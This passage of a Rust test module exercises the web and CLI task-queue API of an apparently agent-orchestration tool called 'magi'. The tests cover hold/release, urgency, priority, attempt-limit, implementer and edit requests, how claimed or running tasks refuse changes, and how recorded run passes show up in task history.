17743        let run = flow_run(RunStatus::Implementing, |s| {
17744            s.passes = vec![
17745                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17746                recorded_pass(1, None),
17747            ];
17748        });
17749        let task = flow_task(&[RUN_X, RUN_X]);
17750        let h = task_history(&task, |_| Some(run.clone()));
17751        assert_eq!(h[0].exit, RunExit::Interrupted);
17752        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17753        assert!(
17754            h[0].outcome.contains("without recording why"),
17755            "{}",
17756            h[0].outcome
17757        );
17758        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17759        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17760    }
17761
17762    #[test]
17763    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17764        use crate::queue::PassCost;
17765        // Three entries, but the run only began keeping passes at the last
17766        // two: the first is legacy and must not be given a cause.
17767        let run = flow_run(RunStatus::Implementing, |s| {
17768            s.passes = vec![
17769                recorded_pass(0, parked(upgrade_cause())),
17770                recorded_pass(1, None),
17771            ];
17772        });
17773        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17774        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17775        let h = task_history(&task, |_| Some(run.clone()));
17776        assert!(h[0].pass.is_none());
17777        assert_eq!(h[0].exit, RunExit::Interrupted);
17778        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17779        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17780        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17781        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17782        // A run with no passes at all is entirely unknown.
17783        let legacy = flow_run(RunStatus::Implementing, |_| {});
17784        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17785        assert!(h.iter().all(|v| v.pass.is_none()));
17786        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17787    }
17788
17789    #[test]
17790    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17791        use crate::queue::PassCost;
17792        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17793        // task. The two entries are passes 0 and 2.
17794        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17795        web.task_entry = false;
17796        let run = flow_run(RunStatus::Implementing, |s| {
17797            s.passes = vec![
17798                recorded_pass(0, parked(upgrade_cause())),
17799                web.clone(),
17800                recorded_pass(2, None),
17801            ];
17802        });
17803        let mut task = flow_task(&[RUN_X, RUN_X]);
17804        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17805        let h = task_history(&task, |_| Some(run.clone()));
17806        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17807        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17808
17809        // Legacy first entry, then a web resume that parked for an upgrade,
17810        // then the daemon's pass: the legacy entry must stay unknown.
17811        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17812        web0.task_entry = false;
17813        let run = flow_run(RunStatus::Implementing, |s| {
17814            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17815        });
17816        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17817        assert!(h[0].pass.is_none());
17818        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17819        assert!(h[1].pass.is_some());
17820    }
17821
17822    #[tokio::test]
17823    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17824        let dir = tempfile::tempdir().unwrap();
17825        let queue = Queue::at(dir.path().join("queue"));
17826        let ui = Arc::new(Ui::new(
17827            queue.clone(),
17828            Questions::at(dir.path().join("questions")),
17829            Talks::at(dir.path().join("talks")),
17830            dir.path().join("runs"),
17831            dir.path().to_path_buf(),
17832            dir.path().to_path_buf(),
17833        ));
17834        let mut t = Task::new(
17835            "recover".into(),
17836            "Inspect".into(),
17837            PathBuf::from("."),
17838            Source::Human,
17839        );
17840        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17841        t.start("run-A".into());
17842        t.release_operator("choice", Some("resume-question"));
17843        t.resume_override = Some(crate::queue::OperatorResume {
17844            question_id: "resume-question".into(),
17845            at: jiff::Timestamp::now(),
17846            conductor_rehold: None,
17847            forced: true,
17848            pinned_run: Some("run-A".into()),
17849        });
17850        t.hold_machine(Some("inspection pending".into()));
17851        t.edit("recover".into(), "Reuse approved PR head".into())
17852            .unwrap();
17853        queue.put(&mut t).unwrap();
17854        let mut cli = t.clone();
17855        cli.release_operator("cli", None);
17856        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17857        let reloaded = queue.get(&t.id).unwrap();
17858        assert_eq!(reply.task.status, TaskStatus::Queued);
17859        assert!(reloaded.resume_override.is_none());
17860        assert_eq!(reloaded.answers, t.answers);
17861        let mut web = reloaded.resumption.unwrap();
17862        let cli = cli.resumption.unwrap();
17863        assert_eq!(web.source, "web");
17864        web.source = cli.source.clone();
17865        web.at = cli.at;
17866        assert_eq!(web, cli);
17867    }
17868
17869    #[tokio::test]
17870    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17871        let f = Fixture::start().await;
17872        let queue = f.queue();
17873        let mut task = Task::new(
17874            "spent".to_owned(),
17875            "Try again".to_owned(),
17876            PathBuf::from("/repo/magi"),
17877            Source::Human,
17878        );
17879        task.start("20260902-140502-bbbb".to_owned());
17880        task.fail("agent gave up", 9);
17881        queue.put(&mut task).expect("file the task");
17882
17883        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17884        assert_eq!(held.status, 200);
17885        assert_eq!(held.json()["status_str"], "held");
17886
17887        let released = f
17888            .post(&format!("/api/queue/{}/release", task.id), None)
17889            .await;
17890        assert_eq!(released.status, 200);
17891        assert_eq!(released.json()["status_str"], "queued");
17892        assert_eq!(released.json()["resumption"]["source"], "web");
17893        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17894        let mut cli = task.clone();
17895        cli.release_operator("cli", None);
17896        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17897        let cli = cli.resumption.unwrap();
17898        assert_eq!(web.instruction, cli.instruction);
17899        assert_eq!(web.answers_through, cli.answers_through);
17900        assert_eq!(web.runs_through, cli.runs_through);
17901        assert_eq!(web.cleared_reason, cli.cleared_reason);
17902        assert_eq!(
17903            released.json()["attempts"],
17904            0,
17905            "release is a real second chance, not an instant re-hold"
17906        );
17907        assert_eq!(
17908            queue.get(&task.id).expect("reload").status,
17909            TaskStatus::Queued,
17910            "the change is on disk, not only in the reply"
17911        );
17912        assert!(
17913            !f.home
17914                .path()
17915                .join("queue")
17916                .join(format!("{}.lock", task.id))
17917                .exists(),
17918            "the claim the mutation took is released again"
17919        );
17920    }
17921
17922    #[tokio::test]
17923    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17924        let f = Fixture::start().await;
17925        let queue = f.queue();
17926        let mut task = Task::new(
17927            "busy".to_owned(),
17928            "Running right now".to_owned(),
17929            PathBuf::from("/repo/magi"),
17930            Source::Human,
17931        );
17932        queue.put(&mut task).expect("file the task");
17933        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17934
17935        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17936
17937        assert_eq!(res.status, 409);
17938        assert_eq!(
17939            queue.get(&task.id).expect("reload").status,
17940            TaskStatus::Queued,
17941            "the refused hold changed nothing"
17942        );
17943    }
17944
17945    #[tokio::test]
17946    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17947        let f = Fixture::start().await;
17948        let queue = f.queue();
17949        let mut task = Task::new(
17950            "waiting on the migration".to_owned(),
17951            "Do the thing".to_owned(),
17952            PathBuf::from("/repo/magi"),
17953            Source::Human,
17954        );
17955        queue.put(&mut task).expect("file the task");
17956
17957        let held = f
17958            .post(
17959                &format!("/api/queue/{}/hold", task.id),
17960                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17961            )
17962            .await;
17963        assert_eq!(held.status, 200, "{}", held.body);
17964        assert_eq!(held.json()["status_str"], "held");
17965        assert_eq!(
17966            held.json()["hold_reason"],
17967            "waiting for 20260101-000000-aaaa to land"
17968        );
17969
17970        let listed = f.get("/api/queue").await.json();
17971        assert_eq!(
17972            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17973            "the card reads the reason off the same list route"
17974        );
17975
17976        // A hold with no body at all must keep working - most holds have no
17977        // reason to give.
17978        let mut plain = Task::new(
17979            "no reason given".to_owned(),
17980            "Do another thing".to_owned(),
17981            PathBuf::from("/repo/magi"),
17982            Source::Human,
17983        );
17984        queue.put(&mut plain).expect("file the task");
17985        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17986        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17987        assert!(held_plain.json()["hold_reason"].is_null());
17988
17989        let released = f
17990            .post(&format!("/api/queue/{}/release", task.id), None)
17991            .await;
17992        assert_eq!(released.status, 200);
17993        assert!(
17994            released.json()["hold_reason"].is_null(),
17995            "a release must clear the reason so the next hold does not inherit it"
17996        );
17997    }
17998
17999    #[test]
18000    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18001        for urgent in [true, false] {
18002            let body: UrgentBody =
18003                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18004            assert_eq!(body.urgent, urgent);
18005        }
18006        for input in [
18007            r#"{}"#,
18008            r#"{"urgent":null}"#,
18009            r#"{"urgent":"true"}"#,
18010            r#"{"urgent":1}"#,
18011            r#"{"urgent":true,"extra":false}"#,
18012        ] {
18013            assert!(
18014                serde_json::from_str::<UrgentBody>(input).is_err(),
18015                "{input}"
18016            );
18017        }
18018    }
18019
18020    #[tokio::test]
18021    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18022        let home = TempDir::new().unwrap();
18023        let q = Queue::at(home.path().join("queue"));
18024        let ui = Arc::new(Ui::new(
18025            q.clone(),
18026            Questions::at(home.path().join("questions")),
18027            Talks::at(home.path().join("talks")),
18028            home.path().join("runs"),
18029            home.path().into(),
18030            home.path().into(),
18031        ));
18032        let mut task = Task::new(
18033            "urgent handler".into(),
18034            "keep".into(),
18035            home.path().into(),
18036            Source::Human,
18037        );
18038        for status in [TaskStatus::Queued, TaskStatus::Held] {
18039            task.status = status;
18040            q.put(&mut task).unwrap();
18041            for urgent in [true, true, false, false] {
18042                let saved = queue_urgent(
18043                    State(Arc::clone(&ui)),
18044                    Path(task.short().into()),
18045                    Ok(Json(UrgentBody { urgent })),
18046                )
18047                .await
18048                .unwrap();
18049                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18050                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18051            }
18052        }
18053        task.status = TaskStatus::Queued;
18054        q.put(&mut task).unwrap();
18055        let claim = q.claim(&task.id).unwrap();
18056        let error = queue_urgent(
18057            State(Arc::clone(&ui)),
18058            Path(task.id.clone()),
18059            Ok(Json(UrgentBody { urgent: true })),
18060        )
18061        .await
18062        .unwrap_err();
18063        assert_eq!(error.status, StatusCode::CONFLICT);
18064        assert!(error.message.contains("released"));
18065        drop(claim);
18066        for status in [
18067            TaskStatus::Running,
18068            TaskStatus::Done,
18069            TaskStatus::Failed,
18070            TaskStatus::Blocked,
18071            TaskStatus::Parked,
18072        ] {
18073            task.status = status;
18074            q.put(&mut task).unwrap();
18075            let error = queue_urgent(
18076                State(Arc::clone(&ui)),
18077                Path(task.id.clone()),
18078                Ok(Json(UrgentBody { urgent: false })),
18079            )
18080            .await
18081            .unwrap_err();
18082            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18083            assert!(error.message.contains(status.as_str()));
18084        }
18085    }
18086
18087    #[tokio::test]
18088    async fn urgent_api_updates_preserves_and_validates_tasks() {
18089        let f = Fixture::start().await;
18090        let q = f.queue();
18091        let mut t = Task::new(
18092            "urgent API".into(),
18093            "unchanged".into(),
18094            PathBuf::from("/repo/magi"),
18095            Source::Human,
18096        );
18097        t.attempts = 2;
18098        t.priority = 9;
18099        t.interrupt = true;
18100        t.hold_reason = Some("waiting for approval".into());
18101        for status in [TaskStatus::Queued, TaskStatus::Held] {
18102            t.status = status;
18103            q.put(&mut t).unwrap();
18104            for urgent in [true, true, false, false] {
18105                let response = f
18106                    .post(
18107                        &format!("/api/queue/{}/urgent", t.short()),
18108                        Some(&format!("{{\"urgent\":{urgent}}}")),
18109                    )
18110                    .await;
18111                assert_eq!(response.status, 200, "{}", response.body);
18112                assert_eq!(response.json()["urgent"], urgent);
18113                let saved = q.get(&t.id).unwrap();
18114                let mut before = serde_json::to_value(&t).unwrap();
18115                let mut after = serde_json::to_value(saved).unwrap();
18116                before["urgent"] = urgent.into();
18117                before.as_object_mut().unwrap().remove("updated_at");
18118                after.as_object_mut().unwrap().remove("updated_at");
18119                assert_eq!(after, before);
18120            }
18121        }
18122        let route = format!("/api/queue/{}/urgent", t.id);
18123        for body in [
18124            r#"{}"#,
18125            r#"{"urgent":null}"#,
18126            r#"{"urgent":"true"}"#,
18127            r#"{"urgent":1}"#,
18128            r#"{"urgent":true,"extra":false}"#,
18129            "{",
18130        ] {
18131            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18132        }
18133        t.status = TaskStatus::Queued;
18134        q.put(&mut t).unwrap();
18135        let claim = q.claim(&t.id).unwrap();
18136        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18137        assert_eq!(response.status, 409, "{}", response.body);
18138        assert!(!q.get(&t.id).unwrap().urgent);
18139        drop(claim);
18140        for status in [
18141            TaskStatus::Running,
18142            TaskStatus::Done,
18143            TaskStatus::Failed,
18144            TaskStatus::Blocked,
18145            TaskStatus::Parked,
18146        ] {
18147            t.status = status;
18148            q.put(&mut t).unwrap();
18149            for urgent in [true, false] {
18150                let response = f
18151                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18152                    .await;
18153                assert_eq!(response.status, 400, "{}", response.body);
18154                assert!(response.body.contains(status.as_str()));
18155                assert!(response.body.contains("queued or held"));
18156                assert!(!q.get(&t.id).unwrap().urgent);
18157            }
18158        }
18159        assert_eq!(
18160            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18161                .await
18162                .status,
18163            404
18164        );
18165    }
18166
18167    #[tokio::test]
18168    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18169        let f = Fixture::start().await;
18170        let queue = f.queue();
18171        let mut older = Task::new(
18172            "filed first".to_owned(),
18173            "x".to_owned(),
18174            PathBuf::from("/repo/magi"),
18175            Source::Human,
18176        );
18177        older.id = "20260101-000001-aaaa".to_owned();
18178        let mut newer = Task::new(
18179            "filed second".to_owned(),
18180            "x".to_owned(),
18181            PathBuf::from("/repo/magi"),
18182            Source::Human,
18183        );
18184        newer.id = "20260101-000002-bbbb".to_owned();
18185        queue.put(&mut older).expect("file older");
18186        queue.put(&mut newer).expect("file newer");
18187
18188        // Equal priority: the newer task leads, the same order the old
18189        // newest-first `list()` already gave every equal-priority queue.
18190        let before = f.get("/api/queue").await.json();
18191        assert_eq!(before[0]["id"], newer.id);
18192        assert_eq!(before[1]["id"], older.id);
18193
18194        // Raising the *older* task is the meaningful case: it can only lead
18195        // now because its priority says so, not because it happens to be
18196        // newest.
18197        let raised = f
18198            .post(
18199                &format!("/api/queue/{}/priority", older.id),
18200                Some(r#"{"priority":10}"#),
18201            )
18202            .await;
18203        assert_eq!(raised.status, 200, "{}", raised.body);
18204        assert_eq!(raised.json()["priority"], 10);
18205
18206        let after = f.get("/api/queue").await.json();
18207        let names: Vec<&str> = after
18208            .as_array()
18209            .unwrap()
18210            .iter()
18211            .map(|t| t["id"].as_str().unwrap())
18212            .collect();
18213        // Highest priority first, which is the order next_runnable and
18214        // `magi task list` both use - GET /api/queue must agree with it
18215        // immediately, not just once the loop claims the task.
18216        assert_eq!(names[0], older.id, "the raised task now sorts first");
18217    }
18218
18219    #[tokio::test]
18220    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18221        let f = Fixture::start().await;
18222        let queue = f.queue();
18223        let mut tasks = Vec::new();
18224        for id in [
18225            "20260101-000001-aaaa",
18226            "20260101-000002-bbbb",
18227            "20260101-000003-cccc",
18228        ] {
18229            let mut task = Task::new(
18230                id.into(),
18231                "x".into(),
18232                PathBuf::from("/repo/magi"),
18233                Source::Human,
18234            );
18235            task.id = id.into();
18236            queue.put(&mut task).unwrap();
18237            tasks.push(task);
18238        }
18239        assert_eq!(
18240            queue.next_runnable().unwrap().id,
18241            tasks[0].id,
18242            "equal priorities use ascending id"
18243        );
18244        let route = format!("/api/queue/{}/priority", tasks[2].id);
18245        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18246        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18247        tasks[1].start("upgrade-run".into());
18248        tasks[1].park("upgrade");
18249        tasks[1].record_pass_at(
18250            "upgrade-run",
18251            0,
18252            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18253            1,
18254            Some(crate::run::ParkCause::Upgrade {
18255                from: "old".into(),
18256                to: None,
18257            }),
18258        );
18259        queue.put(&mut tasks[1]).unwrap();
18260        let rows = f.get("/api/queue").await.json();
18261        let upgrade = rows
18262            .as_array()
18263            .unwrap()
18264            .iter()
18265            .find(|row| row["id"] == tasks[1].id)
18266            .unwrap();
18267        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18268        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18269        tasks[2] = queue.get(&tasks[2].id).unwrap();
18270        tasks[2].start("running-run".into());
18271        queue.put(&mut tasks[2]).unwrap();
18272        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18273        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18274    }
18275
18276    #[tokio::test]
18277    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18278        let dir = TempDir::new().unwrap();
18279        let q = Queue::at(dir.path().join("queue"));
18280        let ui = Arc::new(Ui::new(
18281            q.clone(),
18282            Questions::at(dir.path().join("questions")),
18283            Talks::at(dir.path().join("talks")),
18284            dir.path().join("runs"),
18285            dir.path().to_path_buf(),
18286            dir.path().to_path_buf(),
18287        ));
18288        let mut t = Task::new(
18289            "budget".into(),
18290            "keep".into(),
18291            dir.path().into(),
18292            Source::Human,
18293        );
18294        t.attempts = 2;
18295        t.runs.push("prior-run".into());
18296        t.hold_manual(Some("waiting".into()));
18297        q.put(&mut t).unwrap();
18298        let change = |value| {
18299            queue_attempt_limit(
18300                State(ui.clone()),
18301                Path(t.id.clone()),
18302                Ok(Json(AttemptLimitBody {
18303                    attempt_limit: value,
18304                })),
18305            )
18306        };
18307        for value in [
18308            serde_json::json!(3),
18309            serde_json::Value::Null,
18310            serde_json::json!(1),
18311        ] {
18312            let response = change(value.clone()).await.unwrap();
18313            assert_eq!(
18314                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18315                value
18316            );
18317            let saved = q.get(&t.id).unwrap();
18318            assert_eq!(
18319                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18320                value
18321            );
18322            assert_eq!(saved.status, TaskStatus::Held);
18323            assert_eq!(saved.attempts, t.attempts);
18324            assert_eq!(saved.runs, t.runs);
18325            assert_eq!(saved.hold_reason, t.hold_reason);
18326            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18327                .await
18328                .unwrap()
18329                .0;
18330            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18331            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18332            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18333            assert_eq!(outcome.max_attempts, detail.max_attempts);
18334        }
18335        for value in [
18336            serde_json::json!(0),
18337            serde_json::json!(-1),
18338            serde_json::json!(1.5),
18339            serde_json::json!("3"),
18340            serde_json::json!(true),
18341        ] {
18342            assert_eq!(
18343                change(value).await.err().unwrap().status,
18344                StatusCode::BAD_REQUEST
18345            );
18346        }
18347        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18348        let claim = q.claim(&t.id).unwrap();
18349        assert_eq!(
18350            change(serde_json::json!(4)).await.err().unwrap().status,
18351            StatusCode::CONFLICT
18352        );
18353        drop(claim);
18354        for status in [
18355            TaskStatus::Running,
18356            TaskStatus::Done,
18357            TaskStatus::Failed,
18358            TaskStatus::Blocked,
18359            TaskStatus::Parked,
18360        ] {
18361            let mut stored = q.get(&t.id).unwrap();
18362            stored.status = status;
18363            q.put(&mut stored).unwrap();
18364            assert_eq!(
18365                change(serde_json::json!(4)).await.err().unwrap().status,
18366                StatusCode::BAD_REQUEST
18367            );
18368            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18369        }
18370        let mut stored = q.get(&t.id).unwrap();
18371        stored.status = TaskStatus::Queued;
18372        q.put(&mut stored).unwrap();
18373        let _ = change(serde_json::Value::Null).await.unwrap();
18374        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18375    }
18376
18377    #[tokio::test]
18378    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18379        let dir = TempDir::new().unwrap();
18380        let repo = dir.path().join("repo");
18381        std::fs::create_dir(&repo).unwrap();
18382        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18383        let q = Queue::at(dir.path().join("queue"));
18384        let ui = Arc::new(Ui::new(
18385            q.clone(),
18386            Questions::at(dir.path().join("questions")),
18387            Talks::at(dir.path().join("talks")),
18388            dir.path().join("runs"),
18389            dir.path().to_path_buf(),
18390            repo.clone(),
18391        ));
18392        let mut t = Task::new(
18393            "seats".into(),
18394            "keep instruction".into(),
18395            repo,
18396            Source::Human,
18397        );
18398        t.runs.push("prior-run".into());
18399        t.hold_manual(Some("waiting".into()));
18400        q.put(&mut t).unwrap();
18401        let change = |count| {
18402            queue_implementers(
18403                State(ui.clone()),
18404                Path(t.id.clone()),
18405                Ok(Json(ImplementersBody {
18406                    implementers: count,
18407                })),
18408            )
18409        };
18410        for count in [2, 1, 2] {
18411            let response = change(count).await.unwrap();
18412            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18413            let saved = q.get(&t.id).unwrap();
18414            assert_eq!(saved.implementers(), Some(usize::from(count)));
18415            assert_eq!(saved.runs, t.runs);
18416            assert_eq!(saved.instruction, t.instruction);
18417        }
18418        for count in [0, 4] {
18419            assert_eq!(
18420                change(count).await.err().unwrap().status,
18421                StatusCode::BAD_REQUEST
18422            );
18423        }
18424        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18425        let claim = q.claim(&t.id).unwrap();
18426        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18427        drop(claim);
18428        for status in [
18429            TaskStatus::Running,
18430            TaskStatus::Done,
18431            TaskStatus::Failed,
18432            TaskStatus::Blocked,
18433            TaskStatus::Parked,
18434        ] {
18435            let mut stored = q.get(&t.id).unwrap();
18436            stored.status = status;
18437            q.put(&mut stored).unwrap();
18438            assert_eq!(
18439                change(1).await.err().unwrap().status,
18440                StatusCode::BAD_REQUEST
18441            );
18442            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18443        }
18444    }
18445
18446    #[tokio::test]
18447    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18448        let f = Fixture::start().await;
18449        let queue = f.queue();
18450        let mut task = Task::new(
18451            "in flight".to_owned(),
18452            "x".to_owned(),
18453            PathBuf::from("/repo/magi"),
18454            Source::Human,
18455        );
18456        task.start("20260902-140502-bbbb".to_owned());
18457        queue.put(&mut task).expect("file the task");
18458
18459        let res = f
18460            .post(
18461                &format!("/api/queue/{}/priority", task.id),
18462                Some(r#"{"priority":9}"#),
18463            )
18464            .await;
18465        assert_eq!(res.status, 400, "{}", res.body);
18466        assert!(
18467            res.json()["error"]
18468                .as_str()
18469                .is_some_and(|e| e.contains("running")),
18470            "{}",
18471            res.body
18472        );
18473        assert_eq!(
18474            queue.get(&task.id).expect("reload").priority,
18475            0,
18476            "the refused write must not partially apply"
18477        );
18478    }
18479
18480    #[tokio::test]
18481    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18482        let f = Fixture::start().await;
18483        let queue = f.queue();
18484        let mut task = Task::new(
18485            "old title".to_owned(),
18486            "old instruction".to_owned(),
18487            PathBuf::from("/repo/magi"),
18488            Source::Agent {
18489                run: "20260101-000000-beef".to_owned(),
18490                node: "implement".to_owned(),
18491            },
18492        );
18493        task.runs.push("20260101-000000-beef".to_owned());
18494        queue.put(&mut task).expect("file the task");
18495        let created_at = task.created_at;
18496
18497        let edited = f
18498            .post(
18499                &format!("/api/queue/{}/edit", task.id),
18500                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18501            )
18502            .await;
18503        assert_eq!(edited.status, 200, "{}", edited.body);
18504        let body = edited.json();
18505        assert_eq!(body["title"], "new title");
18506        assert_eq!(body["instruction"], "new instruction");
18507        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18508        assert_eq!(body["created_at"], created_at.to_string());
18509        assert_eq!(
18510            body["source"]["kind"], "agent",
18511            "editing a task an agent filed must not turn it human: {body}"
18512        );
18513        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18514
18515        let reloaded = queue.get(&task.id).expect("reload");
18516        assert_eq!(reloaded.title, "new title");
18517        assert_eq!(reloaded.instruction, "new instruction");
18518    }
18519
18520    #[tokio::test]
18521    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18522        // The judge is an agent now: a repo whose only agent answers
18523        // "duplicate" stands in for it, so the refusal is the judge's.
18524        let tmp = TempDir::new().expect("tempdir");
18525        let repo = tmp.path().join("repo");
18526        std::fs::create_dir_all(&repo).expect("repo dir");
18527        let judge = MOCK_AGENT_TOML.replace(
18528            "printf ok",
18529            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18530        );
18531        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18532        let f = Fixture::with_repo(repo.clone()).await;
18533        let queue = f.queue();
18534        let mut owner = Task::new(
18535            "owner".to_owned(),
18536            "review it".to_owned(),
18537            repo.clone(),
18538            Source::Human,
18539        );
18540        owner.review_branch = Some("magi/ab12/A".to_owned());
18541        queue.put(&mut owner).expect("file the owner");
18542        let mut task = Task::new(
18543            "draft".to_owned(),
18544            "old".to_owned(),
18545            repo.clone(),
18546            Source::Human,
18547        );
18548        queue.put(&mut task).expect("file the draft");
18549        let url = format!("/api/queue/{}/edit", task.id);
18550
18551        let refused = f
18552            .post(
18553                &url,
18554                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18555            )
18556            .await;
18557        assert_eq!(refused.status, 409, "{}", refused.body);
18558        let msg = refused.json()["error"]
18559            .as_str()
18560            .unwrap_or_default()
18561            .to_owned();
18562        assert!(
18563            msg.contains("magi/ab12/A") && msg.contains("force"),
18564            "{msg}"
18565        );
18566        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18567
18568        let forced = f
18569            .post(
18570                &url,
18571                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18572            )
18573            .await;
18574        assert_eq!(forced.status, 200, "{}", forced.body);
18575    }
18576
18577    #[tokio::test]
18578    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18579        let f = Fixture::start().await;
18580        let queue = f.queue();
18581        let mut task = Task::new(
18582            "in flight".to_owned(),
18583            "do not touch".to_owned(),
18584            PathBuf::from("/repo/magi"),
18585            Source::Human,
18586        );
18587        task.start("20260902-140502-bbbb".to_owned());
18588        queue.put(&mut task).expect("file the task");
18589
18590        let res = f
18591            .post(
18592                &format!("/api/queue/{}/edit", task.id),
18593                Some(r#"{"title":"x","instruction":"y"}"#),
18594            )
18595            .await;
18596        assert_eq!(res.status, 400, "{}", res.body);
18597        assert!(
18598            res.json()["error"]
18599                .as_str()
18600                .is_some_and(|e| e.contains("running")),
18601            "{}",
18602            res.body
18603        );
18604        assert_eq!(
18605            queue.get(&task.id).expect("reload").instruction,
18606            "do not touch",
18607            "the refused edit must not change the file"
18608        );
18609    }
18610
18611    #[tokio::test]
18612    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18613        let f = Fixture::start().await;
18614        let queue = f.queue();
18615        let mut task = Task::new(
18616            "busy".to_owned(),
18617            "Running right now".to_owned(),
18618            PathBuf::from("/repo/magi"),
18619            Source::Human,
18620        );
18621        queue.put(&mut task).expect("file the task");
18622        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18623
18624        let priority = f
18625            .post(
18626                &format!("/api/queue/{}/priority", task.id),
18627                Some(r#"{"priority":9}"#),
18628            )
18629            .await;
18630        assert_eq!(priority.status, 409, "{}", priority.body);
18631
18632        let edit = f
18633            .post(
18634                &format!("/api/queue/{}/edit", task.id),
18635                Some(r#"{"title":"x","instruction":"y"}"#),
18636            )
18637            .await;
18638        assert_eq!(edit.status, 409, "{}", edit.body);
18639    }
18640
18641    #[tokio::test]
18642    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18643        let f = Fixture::start().await;
18644        let queue = f.queue();
18645        let mut task = Task::new(
18646            "shipped by hand".to_owned(),
18647            "merged outside the loop".to_owned(),
18648            PathBuf::from("/repo/magi"),
18649            Source::Agent {
18650                run: "20260101-000000-b455".to_owned(),
18651                node: "implement".to_owned(),
18652            },
18653        );
18654        task.runs.push("20260101-000000-b455".to_owned());
18655        task.runs.push("20260101-000000-9af4".to_owned());
